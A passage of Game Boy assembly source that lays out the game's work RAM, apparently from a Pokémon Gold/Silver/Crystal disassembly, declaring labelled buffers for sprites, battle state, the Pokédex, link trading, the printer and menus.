wVirtualOAMSprite01:: sprite_oam_struct wVirtualOAMSprite01 wVirtualOAMSprite02:: sprite_oam_struct wVirtualOAMSprite02 wVirtualOAMSprite03:: sprite_oam_struct wVirtualOAMSprite03 wVirtualOAMSprite04:: sprite_oam_struct wVirtualOAMSprite04 wVirtualOAMSprite05:: sprite_oam_struct wVirtualOAMSprite05 wVirtualOAMSprite06:: sprite_oam_struct wVirtualOAMSprite06 wVirtualOAMSprite07:: sprite_oam_struct wVirtualOAMSprite07 wVirtualOAMSprite08:: sprite_oam_struct wVirtualOAMSprite08 wVirtualOAMSprite09:: sprite_oam_struct wVirtualOAMSprite09 wVirtualOAMSprite10:: sprite_oam_struct wVirtualOAMSprite10 wVirtualOAMSprite11:: sprite_oam_struct wVirtualOAMSprite11 wVirtualOAMSprite12:: sprite_oam_struct wVirtualOAMSprite12 wVirtualOAMSprite13:: sprite_oam_struct wVirtualOAMSprite13 wVirtualOAMSprite14:: sprite_oam_struct wVirtualOAMSprite14 wVirtualOAMSprite15:: sprite_oam_struct wVirtualOAMSprite15 wVirtualOAMSprite16:: sprite_oam_struct wVirtualOAMSprite16 wVirtualOAMSprite17:: sprite_oam_struct wVirtualOAMSprite17 wVirtualOAMSprite18:: sprite_oam_struct wVirtualOAMSprite18 wVirtualOAMSprite19:: sprite_oam_struct wVirtualOAMSprite19 wVirtualOAMSprite20:: sprite_oam_struct wVirtualOAMSprite20 wVirtualOAMSprite21:: sprite_oam_struct wVirtualOAMSprite21 wVirtualOAMSprite22:: sprite_oam_struct wVirtualOAMSprite22 wVirtualOAMSprite23:: sprite_oam_struct wVirtualOAMSprite23 wVirtualOAMSprite24:: sprite_oam_struct wVirtualOAMSprite24 wVirtualOAMSprite25:: sprite_oam_struct wVirtualOAMSprite25 wVirtualOAMSprite26:: sprite_oam_struct wVirtualOAMSprite26 wVirtualOAMSprite27:: sprite_oam_struct wVirtualOAMSprite27 wVirtualOAMSprite28:: sprite_oam_struct wVirtualOAMSprite28 wVirtualOAMSprite29:: sprite_oam_struct wVirtualOAMSprite29 wVirtualOAMSprite30:: sprite_oam_struct wVirtualOAMSprite30 wVirtualOAMSprite31:: sprite_oam_struct wVirtualOAMSprite31 wVirtualOAMSprite32:: sprite_oam_struct wVirtualOAMSprite32 wVirtualOAMSprite33:: sprite_oam_struct wVirtualOAMSprite33 wVirtualOAMSprite34:: sprite_oam_struct wVirtualOAMSprite34 wVirtualOAMSprite35:: sprite_oam_struct wVirtualOAMSprite35 wVirtualOAMSprite36:: sprite_oam_struct wVirtualOAMSprite36 wVirtualOAMSprite37:: sprite_oam_struct wVirtualOAMSprite37 wVirtualOAMSprite38:: sprite_oam_struct wVirtualOAMSprite38 wVirtualOAMSprite39:: sprite_oam_struct wVirtualOAMSprite39 wVirtualOAMEnd:: SECTION "Tilemap", WRAM0 wTileMap:: ; c4a0 ; 20x18 grid of 8x8 tiles ds SCREEN_WIDTH * SCREEN_HEIGHT wTileMapEnd:: SECTION "Miscellaneous", WRAM0 ; This union spans 480 bytes from c608 to c7e8. UNION ; c608 ; surrounding tiles ; This buffer determines the size for the rest of the union; ; it uses exactly 480 bytes. wSurroundingTiles:: ds SURROUNDING_WIDTH * SURROUNDING_HEIGHT NEXTU ; c608 ; box save buffer ; SaveBoxAddress uses this buffer in three steps because it ; needs more space than the buffer can hold. wBoxPartialData:: ds 480 wBoxPartialDataEnd:: NEXTU ; c608 ; battle tower temp struct wBT_OTTemp:: battle_tower_struct wBT_OTTemp NEXTU ; c608 ; battle data wBattle:: wEnemyMoveStruct:: move_struct wEnemyMoveStruct ; c608 wPlayerMoveStruct:: move_struct wPlayerMoveStruct ; c60f wEnemyMonNick:: ds MON_NAME_LENGTH ; c616 wBattleMonNick:: ds MON_NAME_LENGTH ; c621 wBattleMon:: battle_struct wBattleMon ; c62c ds 2 wWildMon:: db ; c64e ds 1 wEnemyTrainerItem1:: db ; c650 wEnemyTrainerItem2:: db ; c651 wEnemyTrainerBaseReward:: db ; c652 wEnemyTrainerAIFlags:: ds 3 ; c653 wOTClassName:: ds TRAINER_CLASS_NAME_LENGTH ; c656 wCurOTMon:: db ; c663 wBattleParticipantsNotFainted:: ; Bit array. Bits 0 - 5 correspond to party members 1 - 6. ; Bit set if the mon appears in battle. ; Bit cleared if the mon faints. ; Backed up if the enemy switches. ; All bits cleared if the enemy faints. db wTypeModifier:: ; c665 ; >10: super-effective ; 10: normal ; <10: not very effective ; bit 7: stab db wCriticalHit:: ; c666 ; 0 if not critical ; 1 for a critical hit ; 2 for a OHKO db wAttackMissed:: ; c667 ; nonzero for a miss db wPlayerSubStatus1:: ; c668 ; bit ; 7 in love ; 6 rollout ; 5 endure ; 4 perish song ; 3 identified ; 2 protect ; 1 curse ; 0 nightmare db wPlayerSubStatus2:: ; c669 ; bit ; 7 ; 6 ; 5 ; 4 ; 3 ; 2 ; 1 ; 0 curled db wPlayerSubStatus3:: ; c66a ; bit ; 7 confused ; 6 flying ; 5 underground ; 4 charged ; 3 flinched ; 2 in loop ; 1 rampage ; 0 bide db wPlayerSubStatus4:: ; c66b ; bit ; 7 leech seed ; 6 rage ; 5 recharge ; 4 substitute ; 3 ; 2 focus energy ; 1 mist ; 0 x accuracy db wPlayerSubStatus5:: ; c66c ; bit ; 7 can't run ; 6 destiny bond ; 5 lock-on ; 4 encored ; 3 transformed ; 2 ; 1 ; 0 toxic db wEnemySubStatus1:: ; c66d ; see wPlayerSubStatus1 db wEnemySubStatus2:: ; c66e ; see wPlayerSubStatus2 db wEnemySubStatus3:: ; c66f ; see wPlayerSubStatus3 db wEnemySubStatus4:: ; c670 ; see wPlayerSubStatus4 db wEnemySubStatus5:: ; c671 ; see wPlayerSubStatus5 db wPlayerRolloutCount:: db ; c672 wPlayerConfuseCount:: db ; c673 wPlayerToxicCount:: db ; c674 wPlayerDisableCount:: db ; c675 wPlayerEncoreCount:: db ; c676 wPlayerPerishCount:: db ; c677 wPlayerFuryCutterCount:: db ; c678 wPlayerProtectCount:: db ; c679 wEnemyRolloutCount:: db ; c67a wEnemyConfuseCount:: db ; c67b wEnemyToxicCount:: db ; c67c wEnemyDisableCount:: db ; c67d wEnemyEncoreCount:: db ; c67e wEnemyPerishCount:: db ; c67f wEnemyFuryCutterCount:: db ; c680 wEnemyProtectCount:: db ; c681 wPlayerDamageTaken:: dw ; c682 wEnemyDamageTaken:: dw ; c684 wBattleReward:: ds 3 ; c686 wBattleAnimParam:: wKickCounter:: wPresentPower:: db ; c689 wBattleScriptBuffer:: ds 40 ; c68a wBattleScriptBufferAddress:: dw ; c6b2 wTurnEnded:: db ; c6b4 ds 1 wPlayerStats:: ; c6b6 wPlayerAttack:: dw wPlayerDefense:: dw wPlayerSpeed:: dw wPlayerSpAtk:: dw wPlayerSpDef:: dw ds 1 wEnemyStats:: ; c6c1 wEnemyAttack:: dw wEnemyDefense:: dw wEnemySpeed:: dw wEnemySpAtk:: dw wEnemySpDef:: dw ds 1 wPlayerStatLevels:: ; c6cc ; 07 neutral wPlayerAtkLevel:: db ; c6cc wPlayerDefLevel:: db ; c6cd wPlayerSpdLevel:: db ; c6ce wPlayerSAtkLevel:: db ; c6cf wPlayerSDefLevel:: db ; c6d0 wPlayerAccLevel:: db ; c6d1 wPlayerEvaLevel:: db ; c6d2 ds 1 ; c6d3 wPlayerStatLevelsEnd:: wEnemyStatLevels:: ; c6d4 ; 07 neutral wEnemyAtkLevel:: db ; c6d4 wEnemyDefLevel:: db ; c6d5 wEnemySpdLevel:: db ; c6d6 wEnemySAtkLevel:: db ; c6d7 wEnemySDefLevel:: db ; c6d8 wEnemyAccLevel:: db ; c6d9 wEnemyEvaLevel:: db ; c6da ds 1 wEnemyTurnsTaken:: db ; c6dc wPlayerTurnsTaken:: db ; c6dd ds 1 wPlayerSubstituteHP:: db ; c6df wEnemySubstituteHP:: db ; c6e0 wUnusedPlayerLockedMove:: db ; c6e1 ds 1 wCurPlayerMove:: db ; c6e3 wCurEnemyMove:: db ; c6e4 wLinkBattleRNCount:: ; c6e5 ; how far through the prng stream db wEnemyItemState:: db ; c6e6 ds 2 wCurEnemyMoveNum:: db ; c6e9 wEnemyHPAtTimeOfPlayerSwitch:: dw ; c6ea wPayDayMoney:: ds 3 ; c6ec wSafariMonAngerCount:: db wSafariMonEating:: db ds 1 wEnemyBackupDVs:: dw ; used when enemy is transformed wAlreadyDisobeyed:: db ; c6f4 wDisabledMove:: db ; c6f5 wEnemyDisabledMove:: db ; c6f6 wWhichMonFaintedFirst:: db ; exists so you can't counter on switch wLastPlayerCounterMove:: db ; c6f8 wLastEnemyCounterMove:: db ; c6f9 wEnemyMinimized:: db ; c6fa wAlreadyFailed:: db ; c6fb wBattleParticipantsIncludingFainted:: db ; c6fc wBattleLowHealthAlarm:: db ; c6fd wPlayerMinimized:: db ; c6fe wPlayerScreens:: ; c6ff ; bit ; 7 ; 6 ; 5 ; 4 reflect ; 3 light screen ; 2 safeguard ; 1 ; 0 spikes db wEnemyScreens:: ; c700 ; see wPlayerScreens db wPlayerSafeguardCount:: db ; c701 wPlayerLightScreenCount:: db ; c702 wPlayerReflectCount:: db ; c703 ds 1 wEnemySafeguardCount:: db ; c705 wEnemyLightScreenCount:: db ; c706 wEnemyReflectCount:: db ; c707 ds 2 wBattleWeather:: ; c70a ; 00 normal ; 01 rain ; 02 sun ; 03 sandstorm ; 04 rain stopped ; 05 sunliight faded ; 06 sandstorm subsided db wWeatherCount:: ; c70b ; # turns remaining db wLoweredStat:: db ; c70c wEffectFailed:: db ; c70d wFailedMessage:: db ; c70e wEnemyGoesFirst:: db ; c70f wPlayerIsSwitching:: db ; c710 wEnemyIsSwitching:: db ; c711 wPlayerUsedMoves:: ; c712 ; add a move that has been used once by the player ; added in order of use ds NUM_MOVES wEnemyAISwitchScore:: db ; c716 wEnemySwitchMonParam:: db ; c717 wEnemySwitchMonIndex:: db ; c718 wTempLevel:: db ; c719 wLastPlayerMon:: db ; c71a wLastPlayerMove:: db ; c71b wLastEnemyMove:: db ; c71c wPlayerFutureSightCount:: db ; c71d wEnemyFutureSightCount:: db ; c71e wGivingExperienceToExpShareHolders:: db ; c71f wBackupEnemyMonBaseStats:: ds 5 ; c720 wBackupEnemyMonCatchRate:: db ; c725 wBackupEnemyMonBaseExp:: db ; c726 wPlayerFutureSightDamage:: dw ; c727 wEnemyFutureSightDamage:: dw ; c729 wPlayerRageCounter:: db ; c72b wEnemyRageCounter:: db ; c72c wBeatUpHitAtLeastOnce:: db ; c72d wPlayerTrappingMove:: db ; c72e wEnemyTrappingMove:: db ; c72f wPlayerWrapCount:: db ; c730 wEnemyWrapCount:: db ; c731 wPlayerCharging:: db ; c732 wEnemyCharging:: db ; c733 wBattleEnded:: db ; c734 wWildMonMoves:: ds NUM_MOVES ; c735 wWildMonPP:: ds NUM_MOVES ; c739 wAmuletCoin:: db ; c73a wSomeoneIsRampaging:: db ; c73b wPlayerJustGotFrozen:: db ; c73c wEnemyJustGotFrozen:: db ; c73d wBattleEnd:: NEXTU ; c608 ; unown puzzle wUnownPuzzle:: ds 200 wPuzzlePieces:: ds 6 * 6 ds 244 wUnownPuzzleEnd:: NEXTU ; c608 ; This union spans 200 bytes from c608 to c6d0. UNION ; c608 ; timeset temp storage wTimeSetBuffer:: ds 20 wInitHourBuffer:: db ; c61c ds 9 wInitMinuteBuffer:: db ; c626 ds 19 wTimeSetBufferEnd:: NEXTU ; c608 ; hall of fame temp struct wHallOfFameTemp:: hall_of_fame wHallOfFameTemp NEXTU ; c608 ; link engine data wLink_c608:: ds 10 wc612:: ds 10 NEXTU ; c608 ; odd egg wOddEgg:: party_struct wOddEgg wOddEggName:: ds MON_NAME_LENGTH wOddEggOTName:: ds NAME_LENGTH NEXTU ; c608 ; mobile data wc608:: ds 53 wc63d:: ds 5 wc642:: ds 5 wc647:: ds 33 wc668:: ds 32 wc688:: ds 2 wc68a:: ds 4 ds 66 ENDU ; c6d0 ; This union spans 280 bytes from c6d0 to c7e8. UNION ; c6d0 ; pokedex wPokedexDataStart:: ; c6d0 wPokedexOrder:: ds $100 ; >= NUM_POKEMON wPokedexOrderEnd:: wDexListingScrollOffset:: db ; offset of the first displayed entry from the start wDexListingCursor:: db ; Dex cursor wDexListingEnd:: db ; Last mon to display wDexListingHeight:: db ; number of entries displayed at once in the dex listing wCurDexMode:: db ; Pokedex Mode wDexSearchMonType1:: db ; first type to search wDexSearchMonType2:: db ; second type to search wDexSearchResultCount:: db wDexArrowCursorPosIndex:: db wDexArrowCursorDelayCounter:: db wDexArrowCursorBlinkCounter:: db wDexSearchSlowpokeFrame:: db wUnlockedUnownMode:: db wDexCurUnownIndex:: db wDexUnownCount:: db wDexConvertedMonType:: db ; mon type converted from dex search mon type wDexListingScrollOffsetBackup:: db wDexListingCursorBackup:: db wBackupDexListingCursor:: db wBackupDexListingPage:: db wDexCurLocation:: db wPokedexStatus:: db wPokedexDataEnd:: ds 2 NEXTU ; c6d0 ; pokegear wPokegearPhoneLoadNameBuffer:: db ; c6d0 wPokegearPhoneCursorPosition:: db ; c6d1 wPokegearPhoneScrollPosition:: db ; c6d2 wPokegearPhoneSelectedPerson:: db ; c6d3 wPokegearPhoneSubmenuCursor:: db ; c6d4 wPokegearMapCursorObjectPointer:: dw ; c6d5 wPokegearMapCursorLandmark:: db ; c6d7 wPokegearMapPlayerIconLandmark:: db ; c6d8 wPokegearRadioChannelBank:: db ; c6d9 wPokegearRadioChannelAddr:: dw ; c6da wPokegearRadioMusicPlaying:: db ; c6dc NEXTU ; c6d0 ; trade wTrademons:: ; c6d0 wPlayerTrademon:: trademon wPlayerTrademon wOTTrademon:: trademon wOTTrademon wTrademonsEnd:: wTradeAnimAddress:: dw wLinkPlayer1Name:: ds NAME_LENGTH wLinkPlayer2Name:: ds NAME_LENGTH wLinkTradeSendmonSpecies:: db wLinkTradeGetmonSpecies:: db NEXTU ; c6d0 ; naming screen wNamingScreenDestinationPointer:: dw ; c6d0 wNamingScreenCurNameLength:: db ; c6d2 wNamingScreenMaxNameLength:: db ; c6d3 wNamingScreenType:: db ; c6d4 wNamingScreenCursorObjectPointer:: dw ; c6d5 wNamingScreenLastCharacter:: db ; c6d7 wNamingScreenStringEntryCoord:: dw ; c6d8 NEXTU ; c6d0 ; slot machine wSlots:: ; c6d0 wReel1:: slot_reel wReel1 wReel2:: slot_reel wReel2 wReel3:: slot_reel wReel3 ; c700 wReel1Stopped:: ds 3 wReel2Stopped:: ds 3 wReel3Stopped:: ds 3 wSlotBias:: db wSlotBet:: db wFirstTwoReelsMatching:: db wFirstTwoReelsMatchingSevens:: db wSlotMatched:: db wCurReelStopped:: ds 3 wPayout:: dw wCurReelXCoord:: db wCurReelYCoord:: db ds 2 wSlotBuildingMatch:: db wSlotsDataEnd:: ds 28 wSlotsEnd:: NEXTU ; c6d0 ; card flip wCardFlip:: ; c6d0 wDeck:: ds 24 wDeckEnd:: ; c6e8 wCardFlipNumCardsPlayed:: db wCardFlipFaceUpCard:: db wDiscardPile:: ds 24 wDiscardPileEnd:: wCardFlipEnd:: NEXTU ; c6d0 ; dummy game wDummyGame:: ; c6d0 wDummyGameCards:: ds 9 * 5 wDummyGameCardsEnd:: wDummyGameLastCardPicked:: db ; c6fd wDummyGameCard1:: db ; c6fe wDummyGameCard2:: db ; c6ff wDummyGameCard1Location:: db ; c700 wDummyGameCard2Location:: db ; c701 wDummyGameNumberTriesRemaining:: db ; c702 wDummyGameLastMatches:: ds 5 ; c703 wDummyGameCounter:: db ; c708 wDummyGameNumCardsMatched:: db ; c709 wDummyGameEnd:: NEXTU ; c6d0 ; mobile data wc6d0:: ds 56 wc708:: db wc709:: db wc70a:: db wc70b:: db wc70c:: db wc70d:: db wc70e:: db wc70f:: db wc710:: db wc711:: db wc712:: ds 60 wc74e:: ds 107 wc7b9:: ds 1 wc7ba:: ds 1 wc7bb:: ds 2 wc7bd:: ds 19 wc7d0:: ds 1 wc7d1:: ds 1 wc7d2:: ds 1 wc7d3:: ds 1 wc7d4:: ds 1 ENDU ; c7e8 ENDU ; c7e8 ; This was a buffer for map-related pointers in the 1997 G/S prototype. ; See wMapBuffer in pokegold-spaceworld's wram.asm. wUnusedMapBuffer:: ds 24 wUnusedMapBufferEnd:: SECTION "Overworld Map", WRAM0 UNION ; c800 ; overworld map blocks wOverworldMapBlocks:: ds 1300 ; c800 wOverworldMapBlocksEnd:: NEXTU ; c800 ; GB Printer screen RAM wGameboyPrinterRAM:: wGameboyPrinterScreen:: ds SCREEN_HEIGHT * SCREEN_WIDTH ; c800 wGameboyPrinterScreenEnd:: ; c968 NEXTU ; c800 ; GB Printer data wGameboyPrinter2bppSource:: ds 40 tiles wGameboyPrinter2bppSourceEnd:: wca80:: db wPrinterRowIndex:: db ; Printer data wPrinterData:: ds 4 wPrinterChecksum:: dw ; ca86 wPrinterHandshake:: db wPrinterStatusFlags:: ; bit 7: set if error 1 (battery low) ; bit 6: set if error 4 (too hot or cold) ; bit 5: set if error 3 (paper jammed or empty) ; if this and the previous byte are both $ff: error 2 (connection error) db wHandshakeFrameDelay:: db wPrinterSerialFrameDelay:: db wPrinterSendByteOffset:: dw wPrinterSendByteCounter:: dw ; tilemap backup? wPrinterTileMapBuffer:: ds SCREEN_HEIGHT * SCREEN_WIDTH ; ca90 wPrinterTileMapBufferEnd:: wPrinterStatus:: db ; cbf8 ds 1 ; High nibble is for margin before the image, low nibble is for after. wPrinterMargins:: db ; cbfa wPrinterExposureTime:: db ; cbfb ds 16 wGameboyPrinterRAMEnd:: NEXTU ; c800 ; bill's pc data wBillsPCData:: wBillsPCPokemonList:: ; (species, box number, list index) x30 ds 3 * 30 ds 720 wBillsPC_ScrollPosition:: db wBillsPC_CursorPosition:: db wBillsPC_NumMonsInBox:: db wBillsPC_NumMonsOnScreen:: db wBillsPC_LoadedBox:: db ; 0 if party, 1 - 14 if box, 15 if active box wBillsPC_BackupScrollPosition:: db wBillsPC_BackupCursorPosition:: db wBillsPC_BackupLoadedBox:: db wBillsPC_MonHasMail:: db ds 5 wBillsPCDataEnd:: NEXTU ; c800 ; Hall of Fame data wHallOfFamePokemonList:: hall_of_fame wHallOfFamePokemonList NEXTU ; c800 ; raw link data wLinkData:: ds $514 wLinkDataEnd:: NEXTU ; c800 ; link data members wLinkPlayerName:: ds NAME_LENGTH wLinkPartyCount:: db wLinkPartySpecies:: ds PARTY_LENGTH wLinkPartyEnd:: db ; older code doesn't check PartyCount UNION ; c813 ; time capsule party data wTimeCapsulePlayerData:: wTimeCapsulePartyMon1:: red_party_struct wTimeCapsulePartyMon1 wTimeCapsulePartyMon2:: red_party_struct wTimeCapsulePartyMon2 wTimeCapsulePartyMon3:: red_party_struct wTimeCapsulePartyMon3 wTimeCapsulePartyMon4:: red_party_struct wTimeCapsulePartyMon4 wTimeCapsulePartyMon5:: red_party_struct wTimeCapsulePartyMon5 wTimeCapsulePartyMon6:: red_party_struct wTimeCapsulePartyMon6 wTimeCapsulePartyMonOTNames:: ds PARTY_LENGTH * NAME_LENGTH wTimeCapsulePartyMonNicks:: ds PARTY_LENGTH * MON_NAME_LENGTH wTimeCapsulePlayerDataEnd:: NEXTU ; c813 ; link player data wLinkPlayerData:: wLinkPlayerPartyMon1:: party_struct wLinkPlayerPartyMon1 wLinkPlayerPartyMon2:: party_struct wLinkPlayerPartyMon2 wLinkPlayerPartyMon3:: party_struct wLinkPlayerPartyMon3 wLinkPlayerPartyMon4:: party_struct wLinkPlayerPartyMon4 wLinkPlayerPartyMon5:: party_struct wLinkPlayerPartyMon5 wLinkPlayerPartyMon6:: party_struct wLinkPlayerPartyMon6 wLinkPlayerPartyMonOTNames:: ds PARTY_LENGTH * NAME_LENGTH wLinkPlayerPartyMonNicks:: ds PARTY_LENGTH * MON_NAME_LENGTH wLinkPlayerDataEnd:: ENDU ; c9b7 NEXTU ; c800 ; mystery gift data wMysteryGiftPartyTemp:: ; ds PARTY_LENGTH * (1 + 1 + NUM_MOVES) wMysteryGiftStaging:: wc800:: ds 1 wc801:: ds 1 wc802:: ds 1 wc803:: ds 4 wc807:: ds 7 wc80e:: ds 1 wc80f:: ds 1 wc810:: ds 1 wc811:: ds 1 wc812:: ds 1 wc813:: ds 1 wc814:: ds 4 wc818:: ds 8 wc820:: ds 1 wc821:: ds 47 UNION ; c850 wMysteryGiftTrainerData:: ds (1 + 1 + NUM_MOVES) * PARTY_LENGTH + 2 wMysteryGiftTrainerDataEnd:: NEXTU ; c850 wc850:: ds 16 wc860:: ds 16 wc870:: ds 16 wc880:: ds 16 wc890:: ds 16 wc8a0:: ds 16 wc8b0:: ds 16 wc8c0:: ds 16 wc8d0:: ds 16 wc8e0:: ds 16 wc8f0:: ds 16 ENDU ; c900 wMysteryGiftPartnerData:: wc900:: db wMysteryGiftPartnerID:: dw wMysteryGiftPartnerName:: ds NAME_LENGTH wMysteryGiftPartnerDexCaught:: db wc90f:: wMysteryGiftPartnerSentDeco:: db wMysteryGiftPartnerWhichItem:: db wMysteryGiftPartnerWhichDeco:: db wMysteryGiftPartnerBackupItem:: db ds 1 wMysteryGiftPartnerDataEnd:: ds 60 wMysteryGiftPlayerData:: ds 1 wMysteryGiftPlayerID:: dw wMysteryGiftPlayerName:: ds NAME_LENGTH wMysteryGiftPlayerDexCaught:: db wMysteryGiftPlayerSentDeco:: db wMysteryGiftPlayerWhichItem:: db wMysteryGiftPlayerWhichDeco:: db wMysteryGiftPlayerBackupItem:: db ds 1 wMysteryGiftPlayerDataEnd:: ds 144 wc9f4:: ds 5 wc9f9:: ds 7 UNION ; ca00 ; blank credits tile buffer wCreditsBlankFrame2bpp:: ds 4 * 4 tiles wCreditsBlankFrame2bppEnd:: NEXTU ; ca00 ; mystery gift data wca00:: db wca01:: db wca02:: db NEXTU ; ca00 ; link data ds 191 wcabf:: ds 1 ENDU ; cb00 ds 14 wcb0e:: ds 5 wcb13:: ds 50 wcb45:: ds 20 wcb59:: ds 20 wcb6d:: ds 1 wcb6e:: ds 22 wcb84:: ds 100 wcbe8:: dw wLinkOTPartyMonTypes:: ds 2 * PARTY_LENGTH ds 84 wcc4a:: ds 22 wcc60:: ds 1 wcc61:: ds 1 wcc62:: ds 2 wcc64:: ds 1 wcc65:: ds 57 wcc9e:: ds 22 wccb4:: ds 1 wccb5:: ds 3 wccb8:: ds 1 wccb9:: ds 1 wccba:: ds 102 ENDU ; cd20 SECTION "Video", WRAM0 UNION ; cd20 ; wBGMapBuffer wBGMapBuffer:: ds 40 ; cd20 wBGMapPalBuffer:: ds 40 ; cd48 wBGMapBufferPtrs:: ds 40 ; cd70 ; 20 bg map addresses (16x8 tiles) wBGMapBufferEnd:: NEXTU ; cd20 ; credits wCreditsPos:: db wCreditsUnusedCD21:: db wCreditsTimer:: db NEXTU ; cd20 ; mobile data wMobileMonSpeciesPointerBuffer:: dw wMobileMonStructurePointerBuffer:: dw wMobileMonOTNamePointerBuffer:: dw wMobileMonNicknamePointerBuffer:: dw wMobileMonMailPointerBuffer:: dw NEXTU ; cd20 ; more mobile data wcd20:: ds 1 wcd21:: ds 1 wcd22:: ds 1 wcd23:: ds 1 wcd24:: ds 1 wMobileCommsJumptableIndex:: ds 1 ; cd25 wcd26:: ds 1 wcd27:: ds 1 wcd28:: ds 1 wcd29:: ds 1 wMobileMonSpeciesBuffer:: wcd2a:: db wTempOddEggNickname:: ; ds 11 wcd2b:: ds 1 wcd2c:: ds 1 wcd2d:: ds 1 wcd2e:: ds 1 wcd2f:: ds 1 wcd30:: ds 1 wcd31:: ds 1 wcd32:: ds 1 wcd33:: ds 1 wcd34:: ds 1 wcd35:: ds 1 ; current time for link/mobile? wcd36:: db ; hours wcd37:: db ; mins wcd38:: db ; secs wcd39:: ds 1 wcd3a:: ds 1 wcd3b:: ds 1 wcd3c:: ds 1 wcd3d:: ds 1 wcd3e:: ds 1 wcd3f:: ds 1 wcd40:: ds 1 wcd41:: ds 1 wcd42:: ds 1 wcd43:: ds 1 ; some sort of timer in link battles wMobileInactivityTimerMinutes:: db ; mins wMobileInactivityTimerSeconds:: db ; secs wMobileInactivityTimerFrames:: db ; frames wcd47:: ds 1 ds 1 wBTTempOTSprite:: wcd49:: db wcd4a:: ds 1 wcd4b:: ds 1 wEZChatCursorXCoord:: wcd4c:: db wEZChatCursorYCoord:: wcd4d:: db wcd4e:: ds 1 wcd4f:: ds 1 wcd50:: ds 1 wcd51:: ds 1 wcd52:: ds 1 wMobileOpponentBattleMessage:: ; ds 12 wcd53:: ds 1 wcd54:: ds 1 wcd55:: ds 1 wcd56:: ds 1 wcd57:: ds 1 wcd58:: ds 1 wcd59:: ds 1 wcd5a:: ds 1 wcd5b:: ds 1 wcd5c:: ds 1 wcd5d:: ds 1 wcd5e:: ds 1 wcd5f:: ds 1 wcd60:: ds 2 wcd62:: ds 1 wcd63:: ds 1 wcd64:: ds 1 wcd65:: ds 1 wcd66:: ds 1 wcd67:: ds 1 wcd68:: ds 1 wcd69:: ds 1 wcd6a:: ds 1 wcd6b:: ds 1 wcd6c:: ds 1 wcd6d:: ds 1 wcd6e:: ds 1 wcd6f:: ds 2 wcd71:: ds 1 wcd72:: ds 1 wcd73:: ds 1 wcd74:: ds 1 wOTMonSelection:: ds 2 ; ds BATTLETOWER_PARTY_LENGTH wcd77:: ds 1 wMobileCrashCheckPointer:: dw wcd7a:: ds 2 wcd7c:: ds 3 wcd7f:: ds 1 wcd80:: ds 1 wcd81:: ds 1 wcd82:: ds 1 wcd83:: ds 1 wcd84:: ds 1 wcd85:: ds 4 wcd89:: ds 1 wcd8a:: ds 1 wcd8b:: ds 1 wcd8c:: ds 1 wcd8d:: ds 11 ENDU ; cd98 wSGBPredef:: db ; cd98 wPlayerHPPal:: db ; cd99 wEnemyHPPal:: db ; cd9a wHPPals:: ds PARTY_LENGTH wCurHPPal:: db ds 7 wSGBPals:: ds 48 ; cda9 wAttrMap:: ; cdd9 ; 20x18 grid of bg tile attributes for 8x8 tiles ; read horizontally from the top row ; bit 7: priority ; bit 6: y flip ; bit 5: x flip ; bit 4: pal # (non-cgb) ; bit 3: vram bank (cgb only) ; bit 2-0: pal # (cgb only) ds SCREEN_WIDTH * SCREEN_HEIGHT wAttrMapEnd:: UNION ; cf41 ; addresses dealing with serial comms ds 1 wcf42:: db ds 1 wcf44:: db wcf45:: db NEXTU ; cf41 wTileAnimBuffer:: ds 1 tiles ENDU ; cf51 ; link data wOtherPlayerLinkMode:: db wOtherPlayerLinkAction:: db ds 3 wPlayerLinkAction:: db wcf57:: db ds 3 wLinkTimeoutFrames:: dw ; cf5b wcf5d:: dw wMonType:: db ; cf5f wCurSpecies:: db ; cf60 wNamedObjectTypeBuffer:: db ds 1 wJumptableIndex:: wBattleTowerBattleEnded:: db UNION ; cf64 ; unidentified wcf64:: db wcf65:: db wcf66:: db NEXTU ; cf64 ; intro and title data wIntroSceneFrameCounter:: db UNION ; cf65 wIntroSceneTimer:: db NEXTU ; cf65 wTitleScreenTimer:: dw ENDU NEXTU ; cf64 ; credits data wCreditsBorderFrame:: db wCreditsBorderMon:: db wCreditsLYOverride:: db NEXTU ; cf64 ; pokedex wPrevDexEntryJumptableIndex:: db wPrevDexEntryBackup:: db NEXTU ; cf64 ; pokegear wPokegearCard:: db wPokegearMapRegion:: db NEXTU ; cf64 ; pack wPackJumptableIndex:: db wCurPocket:: db wPackUsedItem:: db NEXTU ; cf64 ; trainer card badges wTrainerCardBadgeFrameCounter:: db wTrainerCardBadgeTileID:: db wTrainerCardBadgeAttributes:: db NEXTU ; cf64 ; card flip data wCardFlipCursorY:: db wCardFlipCursorX:: db wCardFlipWhichCard:: db NEXTU ; cf64 ; magnet train wMagnetTrainOffset:: db wMagnetTrainPosition:: db wMagnetTrainWaitCounter:: db NEXTU ; cf64 ; unown puzzle data wHoldingUnownPuzzlePiece:: db wUnownPuzzleCursorPosition:: db wUnownPuzzleHeldPiece:: db NEXTU ; cf64 ; miscellaneous wFrameCounter:: wNrOfBeatenBattleTowerTrainers:: wMomBankDigitCursorPosition:: wNamingScreenLetterCase:: wHallOfFameMonCounter:: wSlotsDelay:: db wPrinterQueueLength:: db ENDU ; cf67 wRequested2bpp:: wRequested2bppSize:: db ; cf67 wRequested2bppSource:: dw ; cf68 wRequested2bppDest:: dw ; cf6a wRequested1bpp:: wRequested1bppSize:: db ; cf6c wRequested1bppSource:: dw ; cf6d wRequested1bppDest:: dw ; cf6f wWindowStackPointer:: dw ; cf71 wMenuJoypad:: db ; cf73 wMenuSelection:: db ; cf74 wMenuSelectionQuantity:: db ; cf75 wWhichIndexSet:: db ; cf76 wScrollingMenuCursorPosition:: db ; cf77 wWindowStackSize:: db ; cf78 ds 8 ; menu header wMenuHeader:: ; cf81 wMenuFlags:: db wMenuBorderTopCoord:: db wMenuBorderLeftCoord:: db wMenuBorderBottomCoord:: db wMenuBorderRightCoord:: db wMenuDataPointer:: dw wMenuCursorBuffer:: dw wMenuDataBank:: db ds 6 wMenuHeaderEnd:: wMenuData:: wMenuDataFlags:: db ; cf91 UNION ; cf92 ; Vertical Menu/DoNthMenu/SetUpMenu wMenuDataItems:: db ; cf92 wMenuDataIndicesPointer:: dw ; cf94 wMenuDataDisplayFunctionPointer:: dw ; cf96 wMenuDataPointerTableAddr:: dw ; cf97 NEXTU ; cf92 ; 2D Menu wMenuData_2DMenuDimensions:: db ; cf92 wMenuData_2DMenuSpacing:: db ; cf93 wMenuData_2DMenuItemStringsBank:: db ; cf94 wMenuData_2DMenuItemStringsAddr:: dw ; cf96 wMenuData_2DMenuFunctionBank:: db ; cf97 wMenuData_2DMenuFunctionAddr:: dw ; cf98 NEXTU ; cf92 ; Scrolling Menu wMenuData_ScrollingMenuHeight:: db 